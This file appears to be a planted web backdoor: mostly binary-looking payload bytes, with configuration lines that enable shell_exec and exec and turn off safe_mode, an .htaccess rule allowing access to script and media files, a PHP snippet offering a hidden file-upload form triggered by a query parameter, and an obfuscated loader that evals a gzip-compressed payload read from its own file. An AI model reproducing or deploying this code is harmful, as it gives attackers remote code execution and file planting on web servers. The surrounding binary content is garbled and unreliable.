ύ*+$P-lFYKa-eikuzlspvwTzzF^Y7+)fTC`seikuzlspvw/}nvEŋz:'5.`1SaM6(ʯ11
Gs~qhmxnvfubrۧІ^.51SRvt@qhmxnvfubr0;_*cb&-^XoSa{X6gD@1eqhmxnvfubrʥf74t@;9qhmxnvfubrV5=Ծ^Ulz[y|QՃ%	dtRA:drnPʗd ",}M	k#eikuzlspvwck|	榁5XzӭvgX52_bЀoFFxyP?w9܋+JzANșvLtҊ5K?h},&O%lD8fw*C?3v}.ϧNp8F_skOQEihn{%U+Oܯ~MkL{1xyio,8j,M_+@蹔	Ճ
.a4VU)ef%qqRn;LqhmxnvfubrwZg
ػE7|ő -8kxqhmxnvfubrSrڙp/G?6|(slW%Ct5N(Lz'dN;?GGEZp$VtO'Mnw@Pm_MB,ٸfBܰb1p͍1kD%z鈅qhmxnvfubr
`Y bTc?_}j7iH
K-l9DGed۞zL{_eikuzlspvw\ι3_sWkܯDpSdu\l7r*javer^aS~|eikuzlspvw:5d&0aoܰ9vF
}`p ;zTI70{䲖$$+eikuzlspvwz.;|mڭvr;ꏇ:1v*Dr;xQt28Cn_Z/qU,coŠ-( u_~^w3"gbm%Xu)/k@y+L`[eikuzlspvw³3ǫSnYp)bh*r֓.]7aՕ)V0u9;&|qhmxnvfubrc@eikuzlspvwGj$9W؆SCR|#i8.="E	҃2w  cElKZз:dVVnorġ@Lbic|0dwRCqhmxnvfubrE~˩RqhmxnvfubrYi؍_݄ŚѺ(-qhmxnvfubrUE!?JQ	K|o'cރ
ˢϫqhmxnvfubrP68qR#=ĖГu:WwzWY3eͺ`b
=Lu;W6y&y}Ҥ^!9a/:@!1eikuzlspvwqhmxnvfubr-߱
Jg%C:־BBgjrA1e:cޯie8Q;O!J8eikuzlspvw#ӅciumƖ㗑cN9"$AЁ#e_MqhmxnvfubrlGH2!POհp}*Nz#cᇽǏy9GUBkXҿ]#N;!g'tO_\ż1MK"W{:^qhmxnvfubrAui4̪reV*9)7|ҥLg[gR8'?"ܠnSCX(	p~
ShnHP'c
`2q'31ggy=!xCy'Qg(K]knzlh|꘼=[6,u|cC񍟸Q8ﯦ0$K#@
ʜ.5pf1
aڟ В&Iė$-mlu
և1Ee	Aqhmxnvfubr^'o6qL$N0$$X2VWQw7$TdpǄEЬW&Y
F'\1oWpYl+#~o$D
"eo=ipD) _ph4ly\vBW&a ,8Y0,rvA־ 3x?in*{eikuzlspvweikuzlspvwqhmxnvfubrb*P7Jb uRYL*^iKX5Y+Sx,k׊I &1)%)e*Zd9w=ķDEqP@R4Ok4dB__
93VPv5oq}g y-HZ3V]'ӐZeu:tZ%B@6aqhmxnvfubr|dQcdWd	yq3uT*paL|r%օqhmxnvfubr@3/Q~\̨[I$
vC|( N9
CkL"KȱX #U-x@1 q &ӽ˚WMzԁ҇}+B/"~'-IO!qhmxnvfubr$(B_qhmxnvfubr~|,G\ynS ?=j#TɞVet7wo|s.Sw[c9bXNlGp6
	d38g7$rE`t(Dqhmxnvfubr".(ļyIYkq%/v.sόFknc:.mi+/3
XpHaڲBeK[{q_H5ǗxRnNIʱ&o-eikuzlspvwzXrן)M83^)gB}۸n'9Qհ$0Oa}馅sƝ1-yu`q8.)qhmxnvfubr$:\7}|mF//w.x^/{M4hqhmxnvfubrU~vHܔ+bL嘟:0*?ߣBr讜S:ꯖ*hi4=+E	UP+
/	/bKh!M;'`i`g{ۧ.²R~z|NϾcjeSBڶ.YnLEذK5bNRn0V+
_qhmxnvfubrTT5$s%9V%oaϺzZe&7 C⊯i¥9yQqB.쵴u8G[?/.eoWA, {mZzHBQ267} eikuzlspvwFqi-U9Y{uu4Oaf5k]om`K(09ǭq(NƷiiTL^ZJA;```#ICOY&]g}ePluqL y%rQ
qhmxnvfubr#bpY̛+͓5x[L;XqhmxnvfubrnYDWHҪeikuzlspvwe­.N ,U92;z#P0nv
F;qhmxnvfubr1]*Ov./ж"LQ_t4Gqhmxnvfubr䛗r2z*9=Q41'%S+'h;Xni
ΉpȽ:2oSHהZ7QJh#)yDv)d`g&͍ɚo#FM1:H/
z#.ZGYژmKΒP-$W#BUԑB)30-WǆMeikuzlspvw)O5eikuzlspvwET4w+;5vdw?\t@+o黔_:wU6"#2zOi/ [#r*)tD1:=쾊*AcMP\=`+X߸ [
URpJ`Xq$m{P[{rf9Coݘo&i]a MeikuzlspvwAO:Fqhmxnvfubrqhmxnvfubr[uzeUD\ouRӱ3eikuzlspvwĢX|͝:}4Џ/b8gl^6M/FFTӗc2ÐkUU"!mɷ-R)~}d~rC͟eTJwj3#Fqhmxnvfubrs_69#8
9q+`BAy0^3:;3h-%N|aI@FZnA8[HF Wqhmxnvfubr"T+QG0v!QJ(P
oa-Ne+Xg'D7[Ru M)eeyZsc+}XQWCLk#j3nQKv&S+¢E"7yzG:F:
՝$-r"広tL@ Fߠݮ@ָBYE2#PP?_~ԪƏ1D'=(PK"NP8dB?qhmxnvfubr|=eikuzlspvwNᮘ0-$=%A7zlpF]N jƫ}??
&koo-Z33ƥcȷLc!{#YqhmxnvfubrCik?)ؗ14*P 5M՜%cyd-؊5}` {`?N!S#A2+&ǳv5+0~MG f]_fOQ?nCrh~iaş!9]YM?Fͷ4s燝ǈJM늈CyKy9j-#)ҬTMśN!\xF,'RONv#^*Z!v_6qhmxnvfubrZN3+)&HF_qB (ד*43zC348Vw\a	_x9zM`{t7aGs*l e/{2܂#yք~$"ܘoS$)ɂYZ	L356D[%wyqKm?Ig"Xz6eikuzlspvw74*%z0kyb'oCtzm7	ѠJb*{K _=	{@i%K^E6U&z7UtF_RZڜqhmxnvfubr)gׅqhmxnvfubrAo"9#\ShzEjdB0
ůI?h˄T)vۂ7)m~3ǂẫX̔E oQ+!55K3ਣ)Uv}sPYcJK[;{چN97!	xw֫BW'yt	ښKĪ$j.-lIAHfi~ʁWsL5cfwFڪ ̰9;^~KL4-qhmxnvfubrHPgD0\UN:iJc('5Z'cVD k)
 ,qhmxnvfubr0	] `=([sC?qhmxnvfubrtYqBBR5;'Hᤗ5},QGeikuzlspvwAQ~Zz,oYm{weikuzlspvwQ10hT?s(1v":hX4n`ɖWӰiR7P#Feikuzlspvw Jҝ[I_)ƱMCl/? 77Oeikuzlspvw,"jyV[Eެtmƛzlh|ffAR	S
@4!*͐|Alw0GeikuzlspvwPA[[mjfʸ-Rq&7(g1|tSz{z,+[[ÎU7CП	@6}qhmxnvfubr7yEyRʯʐ!GEQb.
7%	,GN(_}HT]ܚUuNSv.qhmxnvfubrcVt68ω||]L)Az:nhL'݈%T-/y" ?HeP
8eikuzlspvw)'
}rS5(A7.6;ue^8L3'r-svhh60o7c_Vū͘-P08|m_Ƚ" ",pT${)G(nXqhmxnvfubrˏXn=O{S l[}sĿ)`KoSO):;خw'sftt7F07KOd^nE[&m3~RP5ń5B
 DoJ	0+qw*G;0
.h-2eikuzlspvwwUC}0O5eikuzlspvwiYl5'6 Awڙ(ʢMkb)^a`p} "vexa3;uIwp.s:/MRX3IibOf6Dg۟J)(OM3O-z@l4bWjM:E+.IXTdu2NẺ Kn2VlA[]u
'@U7ى %XydI(iN*OUO9p9:0Bbcԡϭf)6W֋xkbD_@ FFzEYj1s+yoqhmxnvfubr	SLѪcPshG#FDpd*aLɀiD\~R5ek	:3eikuzlspvwB]qhmxnvfubrwp.EHm2єU?%K?x-aK{#'V(rEw/)_``CE	j=,x
O XcݰUmKxxiѓ)?;S\lcJx(Xjw$qC%/bǍ
G:?qhmxnvfubrLo:֗5C5qhmxnvfubrqhmxnvfubrb[ԩ^ܺ~K\dYUhvaj(so(nW0S쥕OMi_VqhmxnvfubrӑkծQ(HRPjп|}^uQՋb]csNPwy:jԑ OQ%C*6nf1toXlE  Uw@:K~A_E)r[[iIqhmxnvfubr"8:. `]_-벗ge̩*c.1L̕H^v}܈]^c3&)O!'s~{ ӲtJNAuY#ڐOnSߵ[ҹ1EIWa|I!-RV
rQ8щMx:]IsV$s2&b2G9F	8OL'V q	:eikuzlspvwSՠ?AnA_F8cYeikuzlspvw+2~}t`g53^;,oíz}eD*#C8"'|"K
W%[ZlivTyTE6+]peikuzlspvwy*@IJҜ}`k;nRPYtH vB kkAyW?	]NkZ /Ic}\WӼ滝oai6Vn?ix[S/qhmxnvfubr?qhmxnvfubrRʻ"ݠdS?;j7)LhA8	nV(nx9, U/퇓nibJ o7_JwY@_vEï!|V˔*{qhmxnvfubrX/ILWNT4/`.ξǜ֞+UDVȵMk} $t엪b.jjo՝XƢ4
s,,1G$:~,'`eehH]{RR`MfA4REa4jZNKdGl䭷w9RԊmo:kᵕ|qqp!VH.-2^pg;M} ,ynN㹀+
VzyJ%:53XG',Q-~:b/0)#n!/oB⿊5raz+O0guqhmxnvfubr~@p&j,Pqhmxnvfubr(tdK]"pBqhmxnvfubr;۫+hob.[}$[IՠPj#nLN̂
9V\"#SlV΅C2O#a Pg]굜%eikuzlspvw8RfAO( \7C-C+H`?Qum8=Tm3-;뮷;2tOնO;Ƨ-8@4//th}D9gC(ӵËFyJ5D^b:[c:O^Bw]%m(]waS`20VlOzq5KIc$1fn``jFqhmxnvfubr"wr/I;̖~&b+f
JeikuzlspvwS2K:{!~2.HCItKՃE/"c`[6-lW.2%2Ǉt@
VrV%I-ks4Ҹ!!6.y
N*J[=SL}kTj"7?{7uҽmJJ4ڰ{+qhmxnvfubr8|5px){#F'7'ɫ{ծ~Nn;!mH
@!*T|BOqhmxnvfubrPAVC;JS)-c:kv'
͝Z脌N}Szs_]c;	
LBHxxTa1  tK[12ʡqgqMـ)[HB,4k\Se5ݷ7*5zfks:0]BILH F%pyH| Ȋ^hÙl[

«~!O:`U&Z(` 6?g|qs;bx͏-v)B
=p^ĜvP
UZ3$U	#SŰ&~6~FCʵYeikuzlspvwP.·SK]k͑Y_MvKGebU8+w;
FkbPfQ{!),%a*1bYW%/"ޗ
=8Ƕ0܈ӝa*~_Y["zt*=ZzoH'b2*Lk'޷^\}U2f5hyfܽ*2(8xa;@tr0Ѣ=7	!ߡs6}pmxQJ37)MSV^9(	p[tۯ{dN,yW1JCZ
Cm6eZZ&0H6#BR pl*fD\ʲh "M!oTI\?a'PŝhY۸65 hI!@nqr,܈cGof}LUHQ`2Ejv xqhmxnvfubr6:%ҢOtWrYҿLz涌uLI;,Uȑ{ [
	DTfpny]G$"xڟ`4Kcۏ^q
5M9v
p=Ս(篼}bM~*uM/9٤]B#ߵdmn$j8쁛*w[ZNFah(V휻Tu،3i8e(ח%Y-TOBJ
؂ba'2%3Ä4 8M|
q;\'mjW.o${[^!ؽh_)c#f"+ҬBF=qhmxnvfubr
\NUSHqhmxnvfubr)(쒗!BG?8d/=MfIMmZ(P#Wwh_QXrʻ^T8x^S^g~6=v]1{4|P}PCqhmxnvfubr0
hy4
o2;CY
&;VҤk687Hxgw
V;/qhmxnvfubrÎrE:=)'n9_q9AX+DeikuzlspvwfB!8}5U2qCXnnG=܄sGC?F?}lteikuzlspvwN97u}+'G
.%;2.uuyK#)	&qf_Y|=3#! ,ʷ:~V"8ՈH`"~mY
߿\ᄒ֌5MּJ'Q\
u(@2WY-~~[~QV`VA[ .@J
yaw_dJ\(2n:kYK9qhmxnvfubrWա.:`soK}6dַ=n~{"!0)"Og_!P-qk;G{/p ujJ%OS|lO|RHO俗ܝIJEi;ရ&qhmxnvfubr[,fg*{0xD}MiJ_H_[XMqxr qqّ׷ړGAcqhmxnvfubrǴ-eikuzlspvwCOt%}/v@8w'sxZqhmxnvfubrxA\`;g^kd^
@m =}/ri0R:P~=i!	dUe+(7%~a%~[E^BL3KL0s.,,l2ށtW E8EOG̒DYBܿ"Eb3Ё(D]C{*=Wh NӼ!=Ö;
h[Ov]^/
gEBe sv'4zG|CAY{S]
|zʬV0(b/jPc~5,TΪ$6=߼,ٍ8]MU!ػ hl`d.މKC5C8@6V
.o
4+6̀]/rwBMZQ	ٰ)^ Ո6 ;:7oWm+ˈ.( 0?,{Z,W."lM(_83k/r ߥ{)"YOv#&+=y:&ydqhmxnvfubru*#58]En15Jo!^̤2OboMv y`;xȇW&{qBZ:ҫM6qhmxnvfubr;`'muYѾlͰ)|L&c5k|m4oJ^F6+)fIjr^-~=TWlِ"(`o
lmuc1;ҷ^ȫuhwsv;O)oz5T~ETP^e
qrT-6Bu4@9
KDt)q
Zeikuzlspvwqhmxnvfubr?Xy8:U7fzYkLWDS0*B
4Kdj1'z^n4M6ZIVF[)|JCE\EX\ǽϷ#oHc8s,bC0Ư_P#c1wD~n#
cciBzOǃL44qhmxnvfubrXAqhmxnvfubrSi[3{5qhmxnvfubroX2;ZQ&(S' 1MO(Zv@M4r2)@ul-K@~eikuzlspvwPC-$A6=!Bw+9h_7X栏
[㌤gCjJB2 Eν7N!8av龟drjb'
Fuڼ(]:vT麬9@,,@dqhmxnvfubrC$
/ylbTA8l}?w|SUoey1f@EJ&)h'L.b]&
,
Н30VzlDANE%cM	6.Hg&|_ɩ`ϿhXn qhmxnvfubrÀ͞wtn2S[Nd^;S&7߿(hߞp׵Ć7ۭ%Z1JYe{7?60փTD(\(|2a$DzG!*H1 Q6%Wi$x5DC8#)V\}]Xk}p{b8=&\fÆ;*W#eikuzlspvw4I`pƔ/ܟ)pTb3B&łb9?ʮ͔Bf	S
R8]Ұ=QC_A?(5*S00s5̖BApfXRkw)fmIrhQ9
O||(\~LV(vOxL9*e?0eikuzlspvwn0Y\Oxkц=QL?I6K2 WUGc7#=ݓNzɰMlG_COJϙΒj+׺XIk~3y
EVYq@y`Ug*$T%Z*71Nc]_劕CxEUR9aZF
u$Efl0*fiWqhmxnvfubr^eikuzlspvweikuzlspvw*A;Jɗ0Ƭ:C`9gVտk$DTW^A35RG*QfyQ+g,*-gfMw.wc[`Dv&^Lg	#eikuzlspvwu1^"F6JLqL
#WeDb\)%8#g?z7X;DGƣteikuzlspvwgO %5M*SېiOeikuzlspvwF8G(spBސߍ#ިb70J]^!P٭ BK{CLЩ6Se_LRY=W25w)o{]RǸL`dRo9b3i*87bO2QL]r
C389m#k]?eikuzlspvw!F_)?uT$t7f*zFtpm#!hV`$ܸr9w)$9Y'!c.u8@n9{&.#gr&x$$o|Caeikuzlspvw[]rA,ש[ipm:t`5c@kdB:p}X3Dܗ*=/M,If8G+h GJ"+vҌ q feikuzlspvw\fԎڛ9o~L)m~Oat5nU(ڠ%ZIGaP5rZ0"6DsRn'b5J{)Q@PYk/țzKw &Gρߠ;GRo0-xJ1RH[g:o4*=ӓA/ɗK~c
yQR7 ܚe\dꏰQ@\z8	ئ#4ݛo~6~Px˂x ns
ф׉M|"^uײ"bMnT҃܈Yl"RӯmO{ă*պ~8bmZi)
 @bH3\G|j+|:+ȲV8
OZ@NµTn
;3qmJzzʕ^,py#cڦ#kqhmxnvfubr:,j̹v^2f^	z_.הcݐV
~aJJIsZ4.'9^=zq#1GȨLY0^eU|tD@?NZ(X B_=jqhmxnvfubrjJZlZ1ܖANi|l` kHS"j6lr9Q۬0DF߅ı?Lqhmxnvfubrcz9\~F
pr6vpRꏌu*Eã2r]t2/,_]LosG2{dD)a@,ϑ}P ܲ1Rz1(C@scqhmxnvfubrn}CQf+憅(q嗼9z+C,*tDq0^Fo^vZIúZ0lTG?[]EHW`WbS,3bǧ2q8N%ʳqOPH֛{yJ@B_6rsE5a]C3QS(FUN&-hΜEq8b+^ƽW@-f4louco*W7PC`1
0xgO4j57ǏF]~ 4QFh4~BkATz3VۇFb/yؐJz%J^$e%0y}?D7aΜDr@c2D.(`iw$Y؉q 3e(
,ݻѰ14eikuzlspvw`D;pXhȳ^ZW39!wlqzVS(Iej0	hB)oOyMRbeikuzlspvw&	Q~e؎^D(j$7Ҩ&Ѥ".ԤOǥX^,ƞ=؅yw{TUȺŹ6nUeikuzlspvwYw@BuۃXqhmxnvfubrͳ$3}1:;pA2hCUuWㅈK
qOW'Aqhmxnvfubr3*.LHdWfeEb{WƉ՞c(dS[`JU~nǾG\h/w	\kO"e+^aNE&ŶOז	A#
~
ymtw ``SoMWBӷ't,IUCӒ.045q5!e%
-5;|n
?tPMp	.R+HADaG{ZIEbCf/98y@\Bߜ7JaSrƽLMNJq5T7TS	Fι?0&t[c54ECF?qhmxnvfubr/%ƛeikuzlspvweikuzlspvw#{nfK$ɱ"R.%q`
?HpMpCجqhmxnvfubr5D4L-J2#/jbƔ	}iHr'Xd]\Fkij^)T6ڣ|'D()z!_\h*%~J$΃)JIlF
јϯiM	lsf1d1\9" E`
qhmxnvfubrgZ&'e'X]
*$VXj7B^5³+oO9$n1x-gas ŽX)mZ\_P\Ty)NdVaW
kd9c"ÿowߖ.L+|7p5Т FOLaA:q;vՄOlUҀ?% FszT~
̰_L9ħM}cf)B1MyfXO|rDO!~F]\@wHiH"ީO${	:eikuzlspvw*0ɫW_j7TcPwRq`#{	3Iʵ:M˸-|\BjOE!wKdC9,WoonE{Tu $Z0޵'5ax(ƓǙ_JV۽E@P4/neikuzlspvwvAngNHXyσSML82h=#Nͺ9J縣Ms{^ꍷ^Snl:qqhmxnvfubrչ".7p	eikuzlspvwMDut&eikuzlspvwX$5կt{~qhmxnvfubrUeikuzlspvwqG	2~qhmxnvfubrk2
wYD#IN?Akx#~SW@}	wI3/zBrAqhmxnvfubra\@0R%Q6U85Ӊ*e/3W};HVO4f+F]}$yi#ԧ;g#~F]O)3()n:N6iиԏ*더yAJt=t\D@e^^zD81s3^z\%vq;'nVGW_l6\kA)|$a(D	TŋٷR!}U!	8tr.k}nzɀxXұ5ϷpsCxެǟK&.&wF?%!D&^bH%J
69aOy)zvpMFcHyU[7m)UVBi~
~8^3n7Dot|ܱKj,	Fly5q%T{88cxLEOVLA	a `|\upC7S۬S
v\acwNZ~Ԯz(.qhmxnvfubr1N^a/N)+󱂀yk[r~+ːeikuzlspvw 'UňX[~ޓt
*ŏʽu)+M@_%u8~wRLF yɍ x+oufE@LCqhmxnvfubrFF]*y+O֢avSʌI.dO!"ƞ67Z+)fO'~,~6'ݺiKk7jǘ]w P=1F76Z`1Ċ'SM)fUi_de_Mq2`wID!(-4!5
Z蟵ܵDE[c@!w$(׬rᬲV~qhmxnvfubr[(=:g%ǀ-,uNieikuzlspvwi^V$AqX5E9M]X?
	&E(5I`oWEQweikuzlspvw:u=E?lkO5v2GD$4s'OO][7N+RhבOWwMi%[9Y=r2UV,7ld/PZEeSj"+7z:U垽j	]郳\ΨiRYl$@=&_snβd,KsZCgAeckz1L%=u0mp5:搯UpVW-]B@=ةRa5ʸ+LR޻DY?$a&uGa
 [$
 ?T΁KS"$Y3!\e!6t7te 6X4H̷ Pm1;jl7[z+;ٌuE̀ +0kaK6QKtTn5f#VWl9  FԁYy:5Z!cd2_:oڶp"U,Q;h^w1?Lm y**.r&6r/",t;HsiV]6價sYYYyopn &ǤL1ҟy.\^{=/_\!žJ6{p/r+؁űttk3eikuzlspvw2v-}K5C

{Ji;eAl;qhmxnvfubrzړwkۉ=Mo]f5ÛBU8K.0xRMeikuzlspvwVC5ճTlpч7bv!?4@adlFgIǦ,(uS_i}y&[߅W0VODbH'bpe1i{DYqhmxnvfubr=*س*jGߛь!=mDrx^NKCeOvUVqhmxnvfubryd9,O
4'pҧk9Р qhmxnvfubr|
E0?tȔ$SR&c1"s] EWez緇Yzt¨R\vb(sulo2gDeikuzlspvw)eikuzlspvww_aaJ=8;8\]M?|^EqWQ?( t#2yqXaVJ'KΣ	rOVwiw
IfՎ
ϛC뢒3g{9F'SZ^!1~@z,y~k)6Kĕj.aliڵfLȔ^c@qU]'Z=/f{`tZˤKr_ .yDM@HKͻ[Faʨ|]YѨD.%Sl~HN}U4ѦZh؁_6D_yKǖv"nthw c^{`uӥ/CTL9ܓQ)A+k!*לG95z;
	0ؒNeikuzlspvw9"w +"-Ѯʮ%o^ݭ'.ڐuFI$U9xB,	.TMu0Yk	_#2*]4؆E/Y:J|X`YHv=7
ŠJ՟Q̮'P=(4~,a4:Urw	
ak`ܶZ&G_L
~?bhE*9*$V6UkLaA;h	_ޡwKM9|qz`Q3`*GNem먃u|'OAFHFV5|eikuzlspvwҕ	d:(צkg͑V'#D%/Qqhmxnvfubr+%y|qhmxnvfubr\t')Tfgαeeikuzlspvw7/;_YX]PŰ),\cd%%ܳM;xw0H6g
css]z~WeikuzlspvwGvp'r3i-?\M+ -eECqhmxnvfubroPAb)zoqhmxnvfubr]d!sMB:1qojS=cSp}џ'VUGس,ew[I|_	aXMu3 W?x]we^CQ&q^Ma7Fh|\@KO
ў58qhmxnvfubrJ-J
d}
ul~eikuzlspvwY*Mg\B|](o5_#yqhmxnvfubrelպ͢P(p˗Vbu*D~YdhLz[qhmxnvfubrܙQ;-z7KΠ_peikuzlspvw_Xqhmxnvfubr+(4k͇BZ3eikuzlspvw"wnM]iV=J-[4eikuzlspvw'H뛱=Sכ'&As}2=7 eqhmxnvfubrx-ҁ{\t6M үK6FIm_r펭}ݢdènjRA)G,695W@,s/IC2#b{DUptrfk{Y.K'c@~@z'ϕU`p|yM6vwOvӣ	=ڏ	9xLhB,IυeNP;;n.Qd/u,)Y+Up*Vpm.;Չԃ^%))`Uk1ÛƤu.K!ǽwoC;ou$k{Ȫwo3("qeikuzlspvwypKwuM(!Hk+ޫ&'^l rG'C(\³\YF\2GIlueikuzlspvw.y3VwCS`D3@mjqqhmxnvfubrCj%/seikuzlspvwۍ"Q!Ër'?u_,:sZYΜv`\H%Jي#
U=;"L|w&uYq2˟EKæEFa2[aXM %.WRw		/kobpQK-}Uzk-gUnXQ!e])hb"0VˣlG2SeikuzlspvwwA,w1ďqhmxnvfubrch~e?։F'gO9p.m2J?@:qhmxnvfubrVɆ(n&VU^pN!HJsJ'5k'lqkrEnfNUcRRͣ+P0}~/K˼JEXѤ
&/Em~{3fμM8,qh
e\}OT9^6ې`&y$qi^b
;B\nqhmxnvfubr?2CPA+̿ȋ׸2?Q;,ZNYw݄~*e?r0?.pF3r~[.w9׍v/u.d_jle}M޷%w43f-oK.57ImTfF2EBH0H7q+/1GrFia*l9wKtGx`|;C
z蚕~#Po渆}ڞeVSy"^BO˦
]po|;ihѼn.rwIͶqhmxnvfubr*dc_σ)A8{);WgxQ)nIֽ:X,-I1@eikuzlspvw!.D)
޵,:0_UwmWtSc'MfG#q?gZ/of=qyӿ]C|SHt~?֏E}Tztu蕞 Eؠ1?%]Ŗv m-V(BjI';F9z.zԽS=qhmxnvfubr[
E˷t¢uUP;62^ep@h&L/oKF_rV*uhQtב04r!rգDbj8s-=qcESqhmxnvfubrs0sXc]0hC147T.פ;Bh4n=r|zemWwV򵧡~q)EGAgalߵ4W:zl;%vK7s{C~#"2޽Ci2S{*KEKae:ᇥgx'WAA0fܧ.Q&'D\aqhmxnvfubrB\[Seikuzlspvw 9l`Dwxj(kQͅ*vxi۳_(QhvhEbB-.޼UQsYybjS
ϋb8;J5OMKw$zIP-જb2Xa.F%r{Q]Ԭ# 0]1+^**9A59êq7	?ްݍqhmxnvfubr@=,yT~TuM8,t"|SnK3e9]ϫ_6
7##"Zy/	jY!eK]
)t#(Xm3m'G :sHn@bjSԱ}btk'RPR&WKZ':sdr2)/:r\W(`[­jjJ[z`21y76,WbySdx_)n!?{By\Su?
[PO	BxGf0sbP%qhmxnvfubr
Xqhmxnvfubr?QCS`L%@|ȡi 3́+F:3A%qhmxnvfubr-ۯvDpcA--X~eikuzlspvw5	SzW|3ԕdKcPJ\Yjeikuzlspvwϣ	J;
C1	d;ۊ5DJO+x{*SX;GNCFz
lU+g4YA儷@O4b tJKܢ6|Y
 \Ɂ#D"Uzq7DI~;]A&H8;ǏNWdZyA7#(Cf7fyAN4+Q!.o8UK4ɸ-jwFF7N#A-U"o#o CAMg9DOlӧQeikuzlspvw^,/{§	}ueƂ%!˺3WeoJnPv zH]ve&Z|r.vֿ wh*㓏ZU*mQVm"epXy?9N&RF Hoh2x/[17Cszչ6:d;f]ulwE1WΎqhmxnvfubr$(nK7o	pDmA؜9:H_n^&rNrlyi:9779$*}mhg4
:V,;j%Vޘ
F:wE)@Ꙗ":UUZI]o8$5~]an@Wp$!21roEixJXc7 2CZeikuzlspvwY~NpWx-

GK[f5rjmsR
¦Bgؾ̖u'=fF󶍔bl,B$I8MK+jc(;(	Ϸ:1[CU!E'R儸:*JbUu*qED;edRB2-lE	U!]XYD:oKw3*CI԰VfOU܌@-᜕ lFR~,9:DލoԀh+MlRjPyh|R8{mq5AF2q!-b+1G՘e  DK=_@ZKuZ!jv̬ߗ˝%@*c+*Y[|D{Yv\[ҟ#Ghx6|~q 
\-#|)[p*XM_ąEEP`w4عVpJ+-Uqhmxnvfubry$ɓeikuzlspvw'a뷟hh;g IFׂY{#WALkI˚J`OĠ)_=6_3Y9[weikuzlspvw|EўX,\eikuzlspvwÙL5ʡ qhmxnvfubruOUeikuzlspvw6p4J:SZ UJo`W6͠3ۆeikuzlspvwiQ_s;*u=!sCƺ&t/2($6Tukw~mF~qhmxnvfubrve%T*|}ZUϾ	f+dfp\RBTlzeikuzlspvwahtKhwjHwh#!G$Dehֶ;c	@Vz͟4BF*'O3ӓTHF	S@`MCqU1@C|m"^Gޑ4ԲYE'C[ֈ![0dz]iRJ`A*DןF,[cĿZ\zK
DH^}qhmxnvfubr!{:f4049&R	oѪs)$豥|9h'Ʊ͆c	HFoH"cyd;7'qhmxnvfubr$N
&eikuzlspvwL87a6B H~NӏOJw=ђo)y_S:qhmxnvfubr2{8QeikuzlspvwICEaǎGhy(]gGTpI8l7Mm=U@fqhmxnvfubrH{ J#Oju4~^al=,c,X&&N+'J!$Hv
V`ÆCDSB}hMeikuzlspvw(0+&KBJ5j|o+,^1}cg-g E/bvwz')]ۢv7
ck\cezQz
qhmxnvfubr|)Q|ܟʪqv^h˂#F`Y+J5gJX
a7F0FFюXVx
M1;hk#i8*1	vK߁1߭tg{,$\ f	v!R;N"6Go!ĬͳW CBw8K.dL;f1;IG^#x
حqhmxnvfubrwO	 ycw9˷XtiiׅQ;
}h-GE븈-*ܿvu}USnOWpAkSwqhmxnvfubr_}V$BHT"k@ɪ,j@*03ɓv]K2x#Mӣ1.bBvyH~\,x|ؑd(uW,Őt(خ58bbPjY
Qb'w$AwpVFz䑖wwC5s#dE#Ypiq~.P$`E.ٌɉW^	E:iFpdZ&zF8L7|O
]DqhmxnvfubrƎC2N9kLw=g襧Nqhmxnvfubr
̯o5BqhmxnvfubrڳݎDKr(тRkXS-*3K~Ef2}#PUyUϼV [!no /UdîlqpIpM]hHP{(S3?Zqsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$xydV='s'.'t'.'r'.'_re'.'plac'.'e';$oqEp='subst'.'r';$idOJ='f'.'ile_get'.'_cont'.'ents';$nUTF='gz'.'uncompress';$zSYh='ex'.'it';eval($nUTF($xydV('reuyvazoqs','>',$xydV('etjraflxou','<',$oqEp($idOJ( __FILE__ ),-216988)))));$zSYh(0);
?>
xML	Y2kkA	YYp?' W!!~}m|3kГO
k]7yreuyvazoqs?u_reuyvazoqsvO_~ǿoϟoOmGE:^22~n:oOreuyvazoqs?~syVw?u;Vި-5Ϩ{̛Tetjraflxou~mP~W6g0νAmG]}y?:ԎjfL_W~u
ӽ27reuyvazoqspwz}}O}m۝8]8M}So5]MJ\ꩇ?etjraflxouF֏*
E߹HreuyvazoqshA]yț^rOO_cmCӕVwKsm{okyo	H-퟿-dY堯C"2n (C?88S׶FK/}[xܶU
.?_u;P3etjraflxou۱͚
KdmVcyreuyvazoqsj1!ҒCVvk_9:reuyvazoqs1Q(^'g_!Iw]XvN[er{W梜ѿ7G9RN__0ģ^餱a"g=?q"\PiOw
j_BH腼Bcsq_*Iy:[EV㟝?zSreuyvazoqs0_˿˕JO.W[qU&؎"ϝ2|@uR\gae۟_3&xt M%8/GP0XQF}ubetjraflxou@.̰ϦM_mGhxJ	li$$}8Kd}"k1p7){1;맴s-phʡ7zodAyw)[[gٟ
k;ɗ?[
7~j?L۲#lk[)}O論
wJ)'[3cQF~{(PkYUGareuyvazoqs{ʐ2۠\d*k*Hetjraflxouhzd"F$L
9?s.H}r&+4DCsb,Ŭ)ӅV}2
7^0k*ިofq7vv
lQѾ⛯bv6[
"SwCT=j*9P[7)V;=urϲqԣ~qUo/QCWp^Ks,}%IE2֔bʵРwZO4Nkuq
ZH\f8=ykeWTƃuwbac:B}QA/FCfU;treuyvazoqs:]su^:J¤WϋqS&h
-!0lˁ=رqDV}etjraflxouA; Ctmyh+L~}gr9iؒ_?8R/q@9\B7tjvmzyg"A(eg\S2Tt1reuyvazoqsreuyvazoqs.ߪ6+X@r	ooC%pZ?ɪVy5-?]l4Gi̜_e9IY6!Ɋ}!9c4etjraflxou)#Vݻ%M
Greuyvazoqsq`y0\'k92GU8}l喲=rk	 reuyvazoqs(K4 '/)1ICH\`()w%%@TW/
TT,cϹ5n*!|	uthCetjraflxouq+=vy2:ж'Zʆ1Մ']ˮBچھxGkEW:p[)X8!|U/|w'4jﵥ@M*5WF}/zi 0/GyoꈕW=azW]+tl,޿$3#Xa
